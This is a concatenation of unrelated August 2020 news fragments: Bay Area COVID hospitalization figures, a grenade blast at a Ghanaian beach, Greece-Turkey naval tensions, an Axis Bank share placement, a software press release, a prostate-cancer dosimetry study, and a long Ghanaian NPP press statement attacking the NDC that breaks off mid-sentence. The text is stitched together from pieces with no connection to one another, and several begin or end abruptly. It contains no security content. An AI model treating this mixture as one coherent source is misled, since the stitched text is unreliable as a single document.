long-term decline that we ultimately need to get to where everybody wants to go. Locally, COVID hospitalizations have followed a similar downward trajectory since late July. Bay Area counties mostly saw hospitalizations peak the last week of July, before gradually declining or flattening. San Francisco, for instance, saw hospitalizations peak on July 28 and July 30, when hospitals reported 114 COVID patients, according to county data. That number has fallen relatively steadily since then, reaching 86 on Saturday, a roughly 25% decline compared to the peak. Alameda County reported a similar decline during the same period. At its peak on July 28, 213 people were hospitalized with COVID-19. That number has since fallen to 163 people a 23% drop, according to county data. While we are hopeful that this decline in hospitalizations signals improvement in COVID-19 transmission in Alameda County, given residual uncertainty about laboratory result reporting from the state, it is too soon to tell, said Neetu Balram, public information manager for the Alameda County Public Health Department. State officials last week disclosed flaws in the COVID data reporting system, called CalREDIE, that likely led to an underreporting of new coronavirus cases, though it is unclear how many cases were not reported correctly. The number of new coronavirus cases began to flatten and taper off statewide and in many Bay Area counties a few weeks ago, a sign that the closures and restrictions that health officials reimposed when a summer surge began taking hold of the region in Juneare working. The subsequent decline in hospitalizations tracks with the lag time between new cases and hospitalizations. It often takes at least a couple of weeks before people with symptoms end up in the hospital. Despite the apparent slowdown, new cases are still being reported. Santa Clara County recorded 751 new cases on Monday, by far the largest single-day increase for the county. That figure, however, includes cases dating back to July 8 that had not been previously included because of the CalREDIE error. Statewide, 12,431 new cases were reported as of Monday night. That is the largest single-day increase for the state, but the number is likely unusually high because it includes previously underreported cases from July. The Bay Area reported 1,419 new cases Monday, and six deaths, bringing the regions total to 63,740 cases and 919 deaths. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Altogether, California has had 574,123 cases and 10,473 deaths since the start of the pandemic. The CalREDIE glitch cast doubt on the accuracy of new cases starting from mid-July on. But the data problem did not affect the way the state reports hospitalizations, officials said. Given what were seeing with hospitalizations, its pretty clear that were in a different phase, Lemp said. Were not only (at) a plateau, but somewhat of a decline. To maintain the slowdown, officials should continue limiting indoor dining and bars, and businesses that remain open, like grocery stores, should enforce rigorous mask wearing and sanitize surfaces, Lemp said. It will take a collective effort to tamp down infections to levels low enough to trace where infections began and how they spread a process known as contact tracing, which has eluded public health officials because the virus is spreading faster than the testing system and contact tracing efforts can track. Once weve got these numbers lower, we want push them down even more, he said. If we can really drop the numbers down, maybe we can get a handle on contact tracing. Catherine Ho is a San Francisco Chronicle staff writer. Email: cho@sfchronicle.com Twitter: Cat_Ho Some residents at South La in the Greater Accra Region say they feel unsafe living in the community after a grenade explosion last Tuesday. Three siblings nearly lost their lives after the grenade exploded while in their possession at the La Beach. The children included five, seven and 10 year-olds who had gone to the beach to play. Later on Wednesday, August 5, 2020, the police and military visited the site to discover more grenades. But speaking to Citi News, the residents said they feel threatened, especially as they are yet to find how the grenade found its way to the beach. This thing hasnt happened before, so as it is now, everyone will panic because we do not know what will come next. So we wish the government will make the security in the area bit tight for us so we can be safe. As we are living by the sea, we walk past there, day and night and do not know what will happen again. I had a shock, how the grenade just exploded. We just heard the sound of the explosion. Then later, one of my guys went there and came back reporting that it was a bomb. So automatically, we were scared. The police stepped in to calm us down. But now, we do not know if those behind it, will come and put it there again, another worried resident said. Police caution against handling of strange objects Meanwhile, the Greater Accra Regional Police has cautioned the general public especially parents and community leaders to be wary of strange objects they chance upon and immediately draw the attention of the police for appropriate response. In a statement signed by the Head of Public Relations at the Greater Accra Regional Police command, parents were advised not to leave children without guidance. The admonishment follows the explosion which caused injuries to four children who were playing along the La Beach on August 5, 2020. All four have so far been treated and discharged. Parents are advised not to leave children without the needed parental guide especially, now that they are home. Similarly, children should be discouraged from handling unfamiliar objects, the police noted. The police service says it should be notified of strange objects found in communities through its emergency numbers 191, 18555 or 112. ---Daily Guide We dont know yet if this equivalence was included at White House direction or if it resulted from unstated intimidation, but it is certainly part of a broader pattern. Trump publicly invited Russian interference in his favor during the 2016 election. He publicly favored Putins denial of that interference over the firm judgments of the U.S. intelligence community. Trump publicly dismissed special counsel Robert S. Mueller IIIs voluminous findings about Russian cyberaggression as a witch hunt. His administration has clearly attempted to water down warnings about Russian interference in the 2020 presidential election. Add to this the fact that Trump wont confront Putin about Russian bounties paid for the deaths of U.S. troops in Afghanistan, and the question naturally arises: Why has an American president ceased to defend his own country from sustained aggression? Tensions Escalate Over Turkish Drilling Plans in East Mediterranean By Anthee Carassava August 10, 2020 Greece's entire armed forces are on emergency alert Monday following Turkey's decision to send a vessel to explore potential drilling sites off the coast of two Greek islands in the southeast Aegean Sea. The escalation comes after Greece and Egypt signed a maritime deal blocking Turkish access to the Eastern Mediterranean a move that has enraged Turkish President Recep Tayyip Erdogan, leading him to flex his country's muscle in a long-running territorial tussle. Defense ministry officials denied that reservists had been called up overnight as a result of the brewing crisis. Still, the same sources tell VOA that Greece's entire military apparatus is on red alert, monitoring Turkey's movements after the neighboring state launched naval drills east and south of the islands of Rhodes and Kastellorizo in the southeast Aegean Sea over the weekend. The drills include live fire, and most worrying for Greece, Ankara on Monday also sent out the vessel Oruc Reis to survey the continental shelf in an area in the Eastern Mediterranean, which both Greece and Turkey consider their own. While both NATO allies, the two neighboring countries have been challenging each other's air and sea rights in the region for decades. The two countries came to the brink of war more than 20 years ago. Just last month, German Chancellor Angela Merkel weighed in on a fresh territorial tussle between the two, convincing Erdogan to back off from sending the Oruc Reis on a similar expedition in the same region. Both sides agreed to a moratorium, promising to refrain from any hostile action until sitting down at a negotiating table later this month to try and sort out differences. But in the past week, Greece has angered Turkey with what Ankara has billed a breach of the moratorium a maritime agreement that Athens secretly clinched with Egypt, limiting Ankara's influence and energy designs in the region. As a result, Erdogan ordered out the Oruc Reis, sending it on its initial expedition escorted by Turkish battleships, which Ankara has said it will use if Greece makes any attempt to block the vessel from its course. On Monday, Prime Minister Kyriakos Mitsotakis chaired an urgent meeting of his national security council. A terse announcement issued after the hourlong meeting said officials had assessed the situation and reviewed Greece's response to any Turkish provocation, as they put it. Since then, Mitsotakis has also briefed leading European officials, and he is due to speak to the Secretary-General of NATO, insisting, as his advisers tell VOA, that the U.S.-led military alliance weigh in against Turkey. Foreign Minister Nikos Dendias, meantime, says Greece remains ready to sit down and talk with Turkey. "We understand that Turkey has called off the talks. But I am surprised it has done so," Dendias said. "Maybe it is the result of some inexplicable rage. We can only hope it comes back to its senses." The stakes are high, and Greece has warned it will use force to block any Turkish encroachment of its sea and land rights. Experts like Costantinos Filis expect the crisis to escalate before it eases to any show of rapprochement. "I expect the tension to grow in the coming days. But ultimately, the fate of the feeble Turkish economy will weigh in on any final decision Erdogan will take," Filis said. If Erdogan feels Europeans are serious about their threats to retaliate, then he will probably think twice about making any risky moves. Then again, Filis says, Erdogan is extremely unpredictable, and if he feels he is cornered, he may ultimately go for a daring move to cater to his domestic audience alone. EU leaders already have threatened Turkey with economic sanctions. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Welcome to Morningstar.co.uk! You have been redirected here from Hemscott.com as we are merging our websites to provide you with a one-stop shop for all your investment research needs.To search for a security, type the name or ticker in the search box at the top of the page and select from the dropdown results.Registered Hemscott users can log in to Morningstar using the same login details. Similarly, if you are a Hemscott Premium user, you now have a Morningstar Premium account which you can access using the same login details. Thousands of foreign currency exchange desks are still closed, leaving holiday-makers with little choice on the High Street. Debenhams has not reinstated a single travel money desk in its 124 remaining stores. Barclays is not exchanging cash in its branches but is asking customers to order foreign currency to their homes. Thousands of foreign currency exchange desks are still closed Sainsbury's has just 11 of its 250-plus travel bureaux now open, and Tesco has reinstated only 39 of its 300-plus. Two-thirds of Asda's travel counters are still closed. John Lewis has re-opened 32 of 34 of its bureaux de changes. The Post Office and M&S have both reopened around one-third of their foreign exchange counters, but with both, customers can still order currency online and collect from branches. Axis Bank gained 2.42% to Rs 441.40 after the bank raised Rs 10,000 crore through qualified institutions placement (QIP) issue on 10 August 2020. The bank said that the committee of whole-time directors of the bank in its meeting held today considered and approved the allotment of 238,038,560 equity shares at a price of Rs 420.10 per equity share, which takes into account a discount of 5% to the floor price of Rs 442.19 per equity share. Axis Bank announced the opening of its QIP last week to raise funds to enhance its capital adequacy in accordance with regulatory requirements, its growth strategy, addressing risks emanating from the COVID-19 pandemic and for general corporate purposes. The fund raising was approved by the shareholders of the Bank at the 26th annual general meeting held on 31 July 2020. Commenting on fund raising, Amitabh Chaudhry, MD & CEO Axis Bank said, "We have successfully closed our QIP of Rs.10,000 crores. We have received great response from global and local investors alike, and I am grateful to them for their continued faith in the Axis Bank franchise. We believe that the Bank is well placed to leverage all the possible growth opportunities that will come in as the economy opens up and is in a strong position to combat the challenges that emanate from the Covid-19 pandemic crisis. We believe in the strong fundamentals of the Indian economy and based on our vision for growth, profitability and sustainability, will keep delivering the best value to our customers, shareholders and investors." Axis Bank is the third largest private sector bank in India. As on 30 June 2020, it had a network of 4,528 domestic branches and extension counters situated in 2,559 centres compared to 4,094 domestic branches and extension counters situated in 2,380 centres last year. Powered by Capital Market - Live News (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) ANAHEIM, Calif., Aug. 11, 2020 /PRNewswire/ -- Bedrosians Tile and Stone, in partnership with Real Dynamics, announces the launch of Microsoft Dynamics 365 an intelligent solution for timely replenishment planning across their distribution centers and stores. With the addition of Azure Machine Learning capability, Bedrosians keeps globally sourced inventory aging minimal while accurately forecasting demandgetting products in the hands of contractors, designers, and homeowners on-time. "In terms of the improving efficacy of back-office functions, the accuracy of inventory levels, costs, predicting demand, and greater visibility, Microsoft Dynamics 365 for Finance & Operations had the biggest impact on our company. The Real Dynamics team has been instrumental in this journey while introducing best practices to the organization," said Larry Bedrosian, CEO of Bedrosians. With Dynamics 365 now governing much of the company's data and Power BI available to both company leadership and regional managers in the field, meetings began to speak the same strategic language. Selecting a durable solution capable of supporting the rigor of the company's daily operations and changing with a growing business was top of mind for CIO, Nirbhay Gupta. "Microsoft Dynamics 365 is built on new technologies that gave us easy access to the services we wanted. The solution aligns with our enterprise architecture, and the Real Dynamics team helped us build integrations and provide a seamless experience to our users," said Nirbhay Gupta, CIO of Bedrosians. "Microsoft Dynamics 365 with Power BI, Azure Machine learning has been a great start. They now have a great foundation to continue transformation journey with many other investments from Microsoft," said Yogesh Kasat, Principal at Real Dynamics. Read full customer success story About Real Dynamics Real Dynamics is a Microsoft Partner helping customers on Dynamics 365 Finance and Operations journey. Our mission is to produce highly successful Microsoft Dynamics adoption stories by acting as trusted advisors to our customers. About Bedrosians In 1948, Bedrosians began providing tile and setting materials to contractors and builders in Central California. Today we have 44 branches located throughout California, Arizona, Colorado, Nevada, Utah, Washington, Oregon, Idaho, Texas, Georgia, North Carolina, and Florida with a national and international customer base. Our growth has made Bedrosians one of the most extensive independent porcelain tile and stone importers and distributors. Contact info Jason Weidenbenner [email protected] SOURCE Real Dynamics LLC Related Links https://www.realdynamics.com/ Reston, VA--Researchers have developed a simplified process that could enhance personalization of cancer therapy based on a single nuclear medicine scan. The novel method uses a follow-up single photon emission computed tomography/computed tomography (SPECT/CT) scan to obtain reliable radiation dose estimates to tumors and at-risk organs. The study is published in The Journal of Nuclear Medicine. "In most radionuclide therapies, a fixed amount of radionuclide is administered, which does not take into account individual patient variability in tumor and normal tissue uptake, and hence absorbed dose," said John Violet, BSc, MBBS, MRCP, FRCR, PhD, FRANZCR, radiation oncologist at the Peter MacCallum Cancer Centre in Melbourne, Australia. "'Dosimetry-led' administration, on the other hand, where administered activity is adjusted based upon predictable tumor and normal tissue absorbed doses, has the potential to greatly improve therapeutic outcomes. As dosimetry requires multiple SPECT/CT scans post-therapy, however, it is rarely performed outside clinical trials." Rather than rely on multiple SPECT/CT scans to calculate dosimetry, researchers sought to develop a dose-response estimation from a single post-treatment scan. The study presented a simplified dosimetry method and applied it to the assessment of 177Lu-PSMA-617 therapy for metastatic prostate cancer. 177Lu-PSMA-617 therapy is known to be a highly active therapy for PSMA-expressing metastatic prostate cancers, but currently there is no standardization of how treatment is given. In the study, 29 patients receiving 177Lu-PSMA-617 were imaged with SPECT/CT at four, 24 and 96 hours to characterize tracer pharmacokinetics in tumors and in normal tissues of interest. To evaluate serial measurements, three-dimensional volumes of interest were defined on the first image volume and a method was developed to automatically align each contoured subregion and assess pharmacokinetics. This data was used to develop a population PSMA clearance model for tumor and healthy organs. By applying a generic pharmacokinetic model for PSMA retention, it is possible to estimate radiation absorbed dose with a single image measurement. The range of added uncertainty can be appreciated based on the variability in population curves when normalized to the single time point. Tumor dose estimates were most accurate using delayed scanning at times beyond 72 hours. Dose to healthy tissues was best characterized by scanning patients in the first two days of treatment because of the larger degree of tracer clearance in this early phase. "This work shows for the first time that following Lu-PSMA administration, it is possible to determine a good estimate of activity and absorbed dose with just a single measurement," noted Violet. "Simplification of dosimetry methods to make them a routine application would greatly assist in developing radiobiological models specific to Lu-PSMA, and other radionuclide therapies, allowing optimization of therapy for individual patients that are maximally effective and safe." Improved understanding of radiation dose-response to radionuclide therapy may provide a rationale for moving away from fixed activity prescriptions. This would allow clinicians to tailor treatments based on an individual patient's physiology so successive treatment cycles could be adjusted to yield improved treatment outcomes. "The routine application of radiation dosimetry would be an important step in achieving the goal of 'dosimetry-led' treatment, providing significant improvements in both the safety and efficacy of treatment," explained Violet. "The adoption of routine dosimetry across molecular imaging and nuclear medicine in general would be a major advance in the field for both the clinical application of established therapies and the optimization of novel treatments." ### This study was made available online in December 2019 ahead of final publication in print in July 2020. The authors of "Radiation Dosimetry in 177Lu-PSMA-617 Therapy Using a Single Posttreatment SPECT/CT Scan: A Novel Methodology to Generate Time- and Tissue-Specific Dose Factors" include Price A. Jackson, Michael Hofman and Rodney Hicks, Department of Cancer Imaging, Peter MacCallum Cancer Centre, Melbourne, Australia, and Sir Peter MacCallum Department of Oncology, University of Melbourne, Melbourne, Australia; Mark Scalzo, Department of Cancer Imaging, Peter MacCallum Cancer Centre, Melbourne, Australia; and John Violet, Department of Radiation Oncology, Peter MacCallum Cancer Centre, Melbourne, Australia. Price Jackson is supported by the Victorian Cancer Agency. Michael Hofman is supported by a Clinical Fellowship Award from the Peter MacCallum Foundation and receives research support from Endocyte (a Novartis company). Rodney Hicks is the recipient of a National Health and Medical Research Council Practitioner Fellowship (APP1108050). 177Lu was supplied by the Australian Nuclear Science and Technology Organization (ANSTO) and PSMA-617 by Endocyte and Advanced Biochemical Compounds (ABX). Rodney Hicks holds stock in Telix Pharmaceuticals on behalf of the Peter MacCallum Cancer Centre, with all dividends donated to his department. No other potential conflict of interest relevant to this article was reported. Please visit the SNMMI Media Center for more information about molecular imaging and precision imaging. To schedule an interview with the researchers, please contact Rebecca Maxey at (703) 652-6772 or rmaxey@snmmi.org. About the Society of Nuclear Medicine and Molecular Imaging The Journal of Nuclear Medicine (JNM) is the world's leading nuclear medicine, molecular imaging and theranostics journal, accessed close to 10 million times each year by practitioners around the globe, providing them with the information they need to advance this rapidly expanding field. Current and past issues of The Journal of Nuclear Medicine can be found online at http://jnm.snmjournals.org. JNM is published by the Society of Nuclear Medicine and Molecular Imaging (SNMMI), an international scientific and medical organization dedicated to advancing nuclear medicine and molecular imaging--precision medicine that allows diagnosis and treatment to be tailored to individual patients in order to achieve the best possible outcomes. For more information, visit http://www.snmmi.org. 1. Yes. Too many kids are staying home. They need a virtual learning option to keep up. 2. Yes. Teachers are out sick and subs cant handle the load. Online learning is needed. 3. No. Its too late in the school year to make a wholesale switch in teaching platforms. 4.No. Many parents arent in a position to stay home while their kids learn virtually. 5. Unsure. It may seem like a good idea from a health standpoint, but it has shortcomings. Vote View Results By Trend Prime Minister of Azerbaijan Ali Asadov held a phone talk with the Chief Executive Officer of the BP Group Bernard Looney on August 11, the press service of Azerbaijani Cabinet of Ministers told Trend. During the talks, Asadov and Looney highly praised the long-term productive and mutually beneficial partnership between Azerbaijan and BP. The parties also exchanged opinions on the bilateral cooperation prospects, expressing confidence that this cooperation will continue to successfully develop. --- Follow us on Twitter @AzerNewsAz The governing New Patriotic Party on Monday, August 10, 2020 held a press conference at Alisa Hotel in Accra to share its position and observation on the just ended mass voters registration exercise. Below is the full text of the speech read by the partys General Secretary, John Boadu. 10TH AUGUST, 2020 PRESS CONFERENCE ADDRESSED BY THE NPP GENERAL SECRETARY, JOHN BOADU, ON THE PARTYS POSITION AND OBSERVATION OF THE JUST ENDED MASS VOTER REGISTRATION EXCERCISE Ladies and gentlemen of the media, good afternoon! Thank you for honouring our invitation to this press conference. We have called you this afternoon in respect of the just ended voter registration exercise. The exercise has been highly successful and we wish to commend the Electoral Commission, political parties, civil society groups, security services, the media, all stakeholders and the good people of Ghana for their efforts. This press conference shall address the following issues: - The vindication of the NPP position which we have held since 2012, that the old register was defective - The ECs case for a new voter register - The NDCs opposition to the new voter register - NDCs facilitation of non-Ghanaians to register and vote in our elections - The allegation by the NDC that the whole registration exercise was a grand scheme to disenfranchise Ghanaians - Acts of violence perpetrated at various polling stations, encouraged by the NDC - Registration in border constituencies where the numbers have come down - More people registered with the NIA card - NDCs opposition to the registration of students 1. THE VINDICATION THAT THE OLD VOTER REGISTER WAS BLOATED Ladies and gentlemen, we, in the NPP, as you will recall, have been consistent in stressing that the old voter register was defective and not fit for purpose. One of the issues we had with the old register was that, it was bloated. Indeed, the numbers from the current register vindicates that position. Until recently, the EC had always disagreed with us on our position that the register is bloated. Indeed, after we mounted pressure, the EC, under the then Chairperson, Madam Charlotte Osei, empanelled the late Justice VCRAC Crabbe and others, in October 2015 to hear proposals, collect and collate views from the stakeholders, analyze the views and make recommendations to the Commission. In their report, the Crabbe Panel vindicated NPPs position that the register was bloated. The panel established that the old register contained several categories of ineligible registrants including multiple registrations, names of minors, names of foreigners and deceased persons. After its analysis of facts before it, the Crabbe Committee stated in page 10 of their Report, that there is evidence that the register of voters contains a substantial number of people whose names are currently not valid. By all indications, the number of registered voters is not only unusually high, but it may be in excess of the potential number. Based on the 2012 projected population of Ghana, provided by the Ghana Statistical Service, and discounting the population of foreigners, there were about 150,000 more individual records in the Register of voters than the 2012 estimated population of persons aged 18 years and older of Ghanaian nationality. This would include some thousands of minors who were wrongly registered. On the issue of dead people in the register, the Committee observed on page 14 that; further analysis of data, based on the reported number registered in 2012 and 2014, shows that as many as 580,000 estimated number of voter deaths would have occurred cumulatively by the 2016 elections and may well remain in the Register of Voters. It is not clear how many of these deaths have actually been identified and their records expunged from the Register through the established procedure. This constitutes about 4% of the eligible voters on the register. This margin is almost twice the margin by which most presidential elections were won and more than ten times the margin in the preceding elections. As a way of tackling these issues, the Crabbe Committee on page 20 of their report first of all observed that; it may be difficult to justify more than half a million invalid records in the Register that we seek to characterize as credible. It may be expedient to try to find a middle ground to creating a new register through a completely new registration process. The electoral commission could consider extending the exhibition exercise to have voters confirm their names on the list, an indication that they would want to maintain their voter status. The benefits include signaling that the EC is doing something about the known flaws in the Register. In effect, the point the NPP is making here today is that the fact that the old register is bloated cannot be disputed. Eventually, the E.C itself decided to compile a new register. As we have stated already, the numbers that have come out of the new register confirms the link held position that the old register was bloated. In its Meet the Citizen briefing on the 6th August 2020, the EC told us that; "A clean Voters Register is the basic foundation for ensuring that clean, credible, and transparent elections are delivered to the people of Ghana. The 2019 Register had a total of 16,845,420 Voters. Apart from this, we also had 797,493 people quarantined on the Duplicates/Multiples and Exceptions lists. The political parties are aware of this. When this is added to the registered Voters, the overall total is a little over 17.6million. Had the Commission maintained the old register and conducted a Limited Registration Exercise in all Electoral Areas and Registration Centers across the country, we would have estimated to conservatively add about 2million Ghanaians on to the existing Register. Potentially, without the compilation of a new Voters Register, the Commission was on track to register some 19million people plus another 800,000 people who remain on the multiple and exceptions lists who previously were denied the right to vote. This would have given us a total number of almost 19.6 million persons, approximately 20 million, had we maintained the old register and conducted the Limited Registration Exercise as compared to the current figure of 16.63 million, some 3 million difference. With the compilation of this register those on the duplicates/exceptions lists from 2012 have had the opportunity to register." In a country where the outcome of general elections have sometimes been determined by less than 50, 000 votes, 3 million illegal registration entries or votes make a significant impact on the integrity and credibility of elections. Indeed, the VCRAC Crabbe panel, made this point as well. 2. THE ECS CASE FOR A NEW REGISTER Even so, the E.C has also argued, that the decision to compile a new register in 2020 was largely driven by technical and financial considerations. The E.C says it received advice from its IT team and external Consultants to the effect that, it would be prudent to acquire a new system rather than refurbish the current system which had become obsolete and thus unfit for purpose. Indeed, according to a letter from the vendors of the defunct system, the EC, would be at great risk if it did not take steps to change the equipment. In the letter, the vendors stated in part, that: "We would like to announce that the items in the present BVRs are End- of-Life, including laptops. This means that no components are available to repair the items. And so, for purposes of availability, maintainability and compatibility in the future we recommend to purchase new BVRs." Equally, the old Biometric Verification Device (BVD) was unable to verify a number of voters electronically resulting in a high number of manual verifications on voting day, which is largely unreliable and a potential source of dispute as it tends to compromise the integrity of the elections. It also does not have facial recognition technology nor does it allow for a facial recognition add-on. The new Biometric Voter Management Solution which the EC has acquired ahead of the 2020 elections has facial recognition as an additional feature for those whose fingers cannot be verified. This will therefore reduce the high incidence of manual verification which often proves to be problematic and tends to compromise the integrity and credibility of our elections. 3. THE NDCs OPPOSITION TO THE NEW REGISTER COMPILATION Despite the fact that the EC had demonstrated enough utility and justification for the adoption of a new Biometric Voter Management Solution to deal with the many challenges with the old system, the NDC, continued to stage strong protests against the commissions move and were bent on thwarting the EC's efforts. They began by boycotting IPAC meetings where critical decisions regarding the new voters register were to be taken. Yet, they consistently held press conferences to mislead the public on issues discussed at the very meetings of IPAC they refused to attend. They also spearheaded the formation of the Inter-Party Resistance Against the New Voters' Register, comprising some 6 political parties out of the over 21 registered parties in the country, to constantly torment the EC through conferences and demonstrations. All the arguments they made against the voter registration including the issue of cost, wrong timing, misplaced priority, possibility of civil war among others were all defeated by superior arguments in support of the exercise. Indeed, in the face of continued NDC protests, the EC convened its Eminent Persons Panel and met most of the political parties. The report of the meeting was that a majority of political parties wanted a new voter register. Notwithstanding the emphatic conclusion of the Eminent Persons Panel, the NDC proceeded to the Supreme Court as their last resort to challenge the ECs decision. By an unanimous decision of the Supreme Court, the NDCs position was defeated. Even so, the General Secretary of the NDC addressed the press in the forecourt of the Supreme Court to announce that the Supreme Court had ruled in their favour. Even after being defeated in the Supreme Court, the NDC continued to threaten fire and brimstone if the E.C went ahead to compile a new voters register with some of them vowing to stop speaking to the media and castrating themselves if the EC was able to compile the new register. Well, as we have it now, the electoral commission has been able to successfully conduct the new voter registration across the country, and yet the NDC communicators are still talking to the media. They have also not offered themselves for castration. We wish to also make the point that Covid-19 was never part of the reasons for the NDCs opposition to the new register, because they started their protest against the new register in 2019 when there was no Covid. And so, it is disingenuous for the NDC to now seek to ground their reason for opposing the new register on Covid. Indeed, the NDCs loudest argument in the latter stages was that Ghanaians did not have the Ghana card and so, the ECs decision to restrict the breeder documents to the Ghana card and passport meant that the Commission intended to disenfranchise Ghanaians. However, current data from the registration shows clearly that more than 60% of registrants used the Ghana card, 1.9% used passports and 38% used guarantors. At the end of the exercise, nobody has complained of being disenfranchised for want of documentation. Clearly, the NDCs argument was a deliberate ploy to stop the EC from conducting its constitutionally mandated function and theyve been exposed by events. REGISTRATION IN BORDER CONSTITUENCIES WHERE THE NUMBERS HAVE COME DOWN Ladies and gentlemen, a major security imperative for deploying security personnel to our borders is first and foremost the prevention of terrorism. That is why there is more personnel on the northern border. Pursuant to the advent of Covid-19, the security duty was enhanced to include the containment measures required against Covid-19. The NDC had full knowledge of these measures and did not complain. It is the same deployments that coincidentally , had to be in place to prevent not only illegal entries against Covid-19 but also the influx of non-Ghanaians seeking to be part of the voter registration exercise. Consequently, there has been some reduction in the registration figures in border constituencies which the diagram below speak to: 4. THE NDCS TRIBAL POLITICS AND HATE FOR VOTE CAMPAIGN Having failed in their desperate attempt to stop the EC from compiling a new voters register, the NDC have, very characteristically, resorted to a dangerous ethnocentric agenda through outright fabrications and fear mongering in what they claimed to be ethnic disenfranchisement. We are calling on our brothers and sisters of the Volta Region and indeed all Ghanaians to stand up against being used as pawns in this dangerous political chess game by a desperate John Mahama. Mahama showed very little concern for our brothers and sisters in the Volta Region when he had the opportunity as president to impact their lives. John Mahama cannot be trusted and we say so by his own record and not just his dangerous words. In his hate-for-votes campaign, John Mahama falsely accused the military of disallowing our brothers and sisters in the Volta Region and wherever there are settlements of Voltarians and non-Akans to register to vote. This was a big and dangerous lie. The former president of the Republic, who should know better, had earlier said on 28th June that President Akufo-Addo was sending troops into regions in times of peace for the sole purpose of preventing them from registration, and that this amounted to declaring war. These statements were clearly building blocks in his desperate hate- for-votes strategy to create needless tension among our peace-loving people. In any case, how could John Mahama accuse President Akufo-Addo of ethnic discrimination when recently, the President was in the Northern and Savannah Regions to ensure that 1.2 million people there have access to water, including John Mahamas own maternal hometown of Busunu near Damongo. John Mahama has no message because Akufo-Addo is working hard to solve the real-life problems that confront the Ghanaian people. The Ghanaian people should not be misled by John Mahamas hate-for-votes campaign. John Mahama has resorted to this old bogus propaganda trick used by empty power hungry tyrants of decades gone-by because he has no policy response to Akufo-Addos social interventions and economic policies. Ladies and Gentlemen, Akufo-Addo has been instrumental in maintaining peace and tranquility throughout the country, including in Dagbon since he came into office. He will be the last to want to disturb the peace. We must completely and totally reject Mahamas hate-for-votes campaign and look at the real facts. The facts tell us that at the end of the mass registration exercise, the Volta region was among the highest performing regions. There is also no evidence that there is an eligible registrant in the Volta region or our brothers and sisters of Ewe extraction throughout Ghana who has been denied the opportunity to register. Please, let us not allow John Mahama to fool us with his hate-for-votes agenda. As has already been stated, John Mahamas allegations that many soldiers were deployed to the Volta Region ostensibly to intimidate Voltarians cannot be supported by the facts. The facts are that the military were deployed months ago to patrol all our borders for a variety of security-related reasons including the prevention of terrorism and the enforcement of Covid-19 containment measures. The soldiers were not only deployed in our eastern borders but also in the north as well as the Western enclave. Indeed, the evidence made available by the Defence Ministry and the Ghana Armed Forces clearly shows that more military men were deployed on our northern borders. The breakdown of the deployment as put out by relevant authorities is as follows: Upper East 206 soldiers, Northern Region 110 soldiers, North East 102 soldiers, Volta Region 98 soldiers, Oti Region 72 soldiers, Upper West 65 soldiers, Bono Region 60 soldiers, Western Region 27 soldiers, Savanna Region 21 soldiers. So, there have been more military deployments in the Upper East Region; in the Northern Region as well as in the North East Region than in the Volta Region. If any region should be complaining of heavy military deployment, then it should be the regions in the northern part of the country. Clearly, the former President is only using this reckless ploy to try to motivate the NDCs grassroots who have been consistently neglected by his administration in the Volta Region and cower the security agents from doing their legitimate job so that the NDC can employ foul means to populate the register. We should not confuse the genuine efforts to police the borders throughout the country to mean that the NPP is against anyone. Elections in Ghana are for Ghanaians. Yet, as we speak, a number of Togolese and Nigerians have either been convicted or have their cases pending at the Keta circuit court charged with registering for a Ghanaian voter ID card. 1. Okafor Wale, age 47 years; nationality, Nigerian. Offence: Registered for Ghana voter ID card when not qualified to register. Convicted and Sentenced to 2years in hard labour by Keta Circuit Court on 30/07/20 2. Evoda Yao Dieu Donne, age 22 years, nationality Togolese. Offence : Registered for Ghana voter ID Card when not qualified to register. Convicted and sentenced to 2 years in hard labour by Keta Circuit Court on 30/07/20 3. Emmanuel Philip, age 32, nationality Nigerian. Offence: Register for Ghana Voter ID Card when not qualified. Case pending before Keta Circuit Court. 4. Jerry Azameti, age 28 years, nationality, Ghanaian; and 5. Abigail Tagbor age 20 years Ghanaian. Offence: the two abetted Emmanuel Philip a Nigerian who is not qualified to register to register for Ghana voter ID Card by standing as guarantors. Case pending before Keta Circuit Court. 6. Ekoume Sena, age 32 years, Togolese. Offence: Register for Ghana Voter ID Card when not qualified to register. Case pending before Keta Circuit Court. 7. Ametame Raymond, age 33 years,Togolese. Offence: Register for Ghana voter ID Card when not qualified to register. Case pending before Keta Circuit Court. 8. The arrest of sixty six Ivorian nationals last week 9. The arrest yesterday of 12 Nigerians currently in custody at the Kotobabi police station in Accra, allegedly brought in to register by the NDC MP for the area. Ladies and gentlemen, we love all our brothers and sisters of West Africa, but they cannot vote in our elections as we cannot vote in theirs. We expect mutual respect for national sovereignty with our dear neighbors. 5. NDCS FACILITATION OF NON-GHANAIANS TO REGISTER AND VOTE IN OUR ELECTIONS As clearly established by the VCRAC Crabbe Committee and by the Supreme Court of Ghana during the election petition, one of the main reasons accounting for the bloated nature of the register is the names of non-Ghanaians, particularly our West African neighbors, on the register. This, we contend, is the handiwork of the NDC based on their conduct in all registration exercises conducted by the EC. And indeed, developments at the just ended 2020 mass registration exercise yet again showed the NDCs usual desperation to get foreigners on our voters register. The media is awash with videos showing some foreigners being imported by the NDC into the country to participate in the voter registration exercise. Videos to be displayed 6. ACTS OF VIOLENCE PERPETRATED AT VARIOUS POLLING STATIONS, ENCOURAGED BY THE NDC Ladies and Gentlemen, the NDC, in their usual fashion, continued with their acts of violence against innocent Ghanaians and on members of the NPP during the registration exercise. You would recall that John Mahama is on record as having told Ghanaians that when it comes to violence, no political party in the country can match the NDC. It is thus not surprising that during this mass registration, the NDC hooligans were again at their best visiting mayhem on our people. Show videos..(Joynews video showing our agent at the Tsorme Registration Centre in the Akan Constituency in the Oti Region. He is called Francis Kofie) Pictures of our party activists who suffered brutalities being displayed 7. NDC OPPOSES THE REGISTRATION OF STUDENTS The NDC, you will recall, recently went to the high court to challenge the ECs decision to provide an opportunity for SHS students to register during the mass registration exercise. Yet, they were the same people alleging that this whole voter registration is an attempt to deny eligible Ghanaians their constitutional right to vote in the December 2020 elections following the removal of the old voters ID card from the voter registration requirements. They claimed the EC, by this decision, was going to disenfranchise many eligible Ghanaians from registering and therefore sought the courts intervention. Ladies and gentlemen, isnt it interesting that the same NDC which claimed it was defending peoples constitutional right to register and vote, is today, back in court arguing that the court should intervene and stop the EC from registering eligible Ghanaian voters in our Senior High Schools. So we ask, is the NDC in support of the right of eligible Ghanaians to register and vote, or they are against it? The right to vote as enshrined in Article 42 of the Constitution, does not preclude students in Senior High Schools from registering, provided they are 